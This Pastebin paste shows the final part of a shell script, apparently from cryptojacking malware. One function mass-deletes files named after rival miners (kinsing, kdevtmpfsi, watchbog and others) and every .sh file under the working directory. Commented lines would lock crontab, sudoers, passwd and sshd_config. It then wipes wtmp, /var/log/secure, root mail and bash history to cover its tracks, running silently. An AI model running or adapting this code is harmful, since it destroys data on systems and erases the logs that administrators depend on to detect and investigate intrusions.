  1413. find /opt/atlassian/confluence/bin/ -type f -name "[1].sh*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1414. find /opt/atlassian/confluence/bin/ -type f -name "[1].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1415. find /mnt/ -type f -name "[p].*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1416. find /mnt/ -type f -name "[c]onfig.*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1417. find /lib/ -type f -name "[l]ibterminfo.so" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1418. find /etc/dhcp/ -type f -name "[p].*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1419. find /etc/dhcp/ -type f -name "[p]" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1420. find /etc/dhcp/ -type f -name "[d]aemon" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1421. find /etc/cron.d/ -type f -name "[r]oot" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1422. find /etc/ -type f -name "[v]oidonce.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1423. find /etc/ -type f -name "[u]pdate.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1424. find /etc/ -type f -name "[s]ysupdate" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1425. find /etc/ -type f -name "[o]anacroner" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1426. find /etc/ -type f -name "[o]anacrona" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1427. find /etc/ -type f -name "[o]anacron" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1428. find /etc/ -type f -name "[o]anacroane" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1429. find /etc/ -type f -name "[n]fstruncate" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1430. find /etc/ -type f -name "[l]d.so.preload" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1431. find /etc/ -type f -name "[k]throtlds" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1432. find /etc/ -type f -name "[k]ins*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1433. find /etc/ -type f -name "[c]onfig.json" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1434. find /etc/ -type f -name "[c]onfig.*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1435. find /etc/ -type f -name "[0]hourly" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1436. find /dev/shm/ -type f -name "[.]scr" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1437. find /dev/ -type f -name "[z]3.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1438. find /dev/ -type f -name "[z]2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1439. find /dev/ -type f -name "[j]boss" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1440. find /dev/ -type f -name "[.]kerberods" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1441. find /bin/ -type f -name "[k]workerds" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1442. find /bin/ -type f -name "[h]ttpsntp" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1443. find /bin/ -type f -name "[f]tpsntp" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1444. find /bin/ -type f -name "[c]onfig.json" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1445. find . -type f -name "[z]0.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1446. find . -type f -name "[x]x.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1447. find . -type f -name "[x]ms" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1448. find . -type f -name "[x]mi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1449. find . -type f -name "[x]esa.txt" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1450. find . -type f -name "[x]anthe" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1451. find . -type f -name "[x]1.tar.gz" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1452. find . -type f -name "[w]atchbog.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1453. find . -type f -name "[u]nixdb_decode.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1454. find . -type f -name "[u]ninstall.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1455. find . -type f -name "[t]mp2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1456. find . -type f -name "[t]mp.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1457. find . -type f -name "[t]ask.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1458. find . -type f -name "[s]sh_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1459. find . -type f -name "[s]sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1460. find . -type f -name "[s]pread_rsa.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1461. find . -type f -name "[s]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1462. find . -type f -name "[s]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1463. find . -type f -name "[s]a.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1464. find . -type f -name "[r]un.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1465. find . -type f -name "[r]s.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1466. find . -type f -name "[q]uartz_uninstall.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1467. find . -type f -name "[p]op.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1468. find . -type f -name "[p]m.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1469. find . -type f -name "[p]dflushs.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1470. find . -type f -name "[p].*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1471. find . -type f -name "[n]ewdat.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1472. find . -type f -name "[m]o.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1473. find . -type f -name "[m]al.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1474. find . -type f -name "[l]ogo9_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1475. find . -type f -name "[l]ogo8_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1476. find . -type f -name "[l]m_ssh.assi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1477. find . -type f -name "[l]inux*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1478. find . -type f -name "[l]dr2.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1479. find . -type f -name "[l]dr.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1480. find . -type f -name "[k]s3" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1481. find . -type f -name "[k]s2" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1482. find . -type f -name "[k]s" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1483. find . -type f -name "[k]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1484. find . -type f -name "[k]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1485. find . -type f -name "[k]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1486. find . -type f -name "[k]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1487. find . -type f -name "[k]4.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1488. find . -type f -name "[i]s.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1489. find . -type f -name "[i]nit.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1490. find . -type f -name "[i].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1491. find . -type f -name "[f]czyo" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1492. find . -type f -name "[e]x.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1493. find . -type f -name "[d].sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1494. find . -type f -name "[c]r.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1495. find . -type f -name "[c]onfig.*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1496. find . -type f -name "[c]hongfu.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1497. find . -type f -name "[c]at.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1498. find . -type f -name "[b]sh.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1499. find . -type f -name "[a]sh.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1500. find . -type f -name "[W]atchdosMiner.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1501. find . -type f -name "[S]alt-minions*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1502. find . -type f -name "[S]alt-minions" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1503. find . -type f -name "[S]Hre.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1504. find . -type f -name "[R]ze.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1505. find . -type f -name "[L]ov.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1506. find . -type f -name "[K]insing*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1507. find . -type f -name "[K]insing" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1508. find . -type f -name "[K]devtmpfsi*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1509. find . -type f -name "[K]devtmpfsi" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1510. find . -type f -name "[6]66.sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1511. find . -type f -name "[3]start_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1512. find . -type f -name "[2]start_jpg" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1513. find . -type f -name "*[.]watch" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1514. find . -type f -name "*[.]shard" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1515. find . -type f -name "*[.]sh" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1516. find . -type f -name "*[.]ranges" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1517. find . -type f -name "*[.]lan" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1518. find . -type f -name "*[.]dat" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1519. find . -type f -name "*[.]X11*" -print0 | xargs -I {} -0 rm -rf -v "{}"
  1520. #==# CLOSE FILE #==#
  1521. # chattr +ai $cron
  1522. # chattr +i /etc/crontab
  1523. # chattr +i /usr/bin/crontab
  1524. # chattr +i /var/spool/cron/crontab
  1525. # chattr +ia /etc/passwd
  1526. # chattr +ia /etc/ssh/sshd_config
  1527. # chattr +ia /etc/sudoers
  1528. # chattr +ia /var/spool/cron/
  1529. # chattr +ia /var/spool/cron/root
  1530. # chattr +isa /etc/crontab
  1531. # chattr +isa /var/spool/cron/crontabs/root
  1532. # chattr +isa /var/spool/cron/root
  1533. # chattr -R +i /var/spool/cron
  1534. # chattr -R +ia /var/spool/cron/
  1535. #==# WIPE SCREEN #==#
  1536. screen -wipe
  1537. #==# FUCK HISTORY #==#
  1538. echo "" > /var/spool/mail/root
  1539. echo "" > /var/log/wtmp
  1540. echo "" > /var/log/secure
  1541. echo "" > /root/.bash_history
  1542. history -c
  1543. }
  1544. local_kill_sus6 > /dev/null 2>&1
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!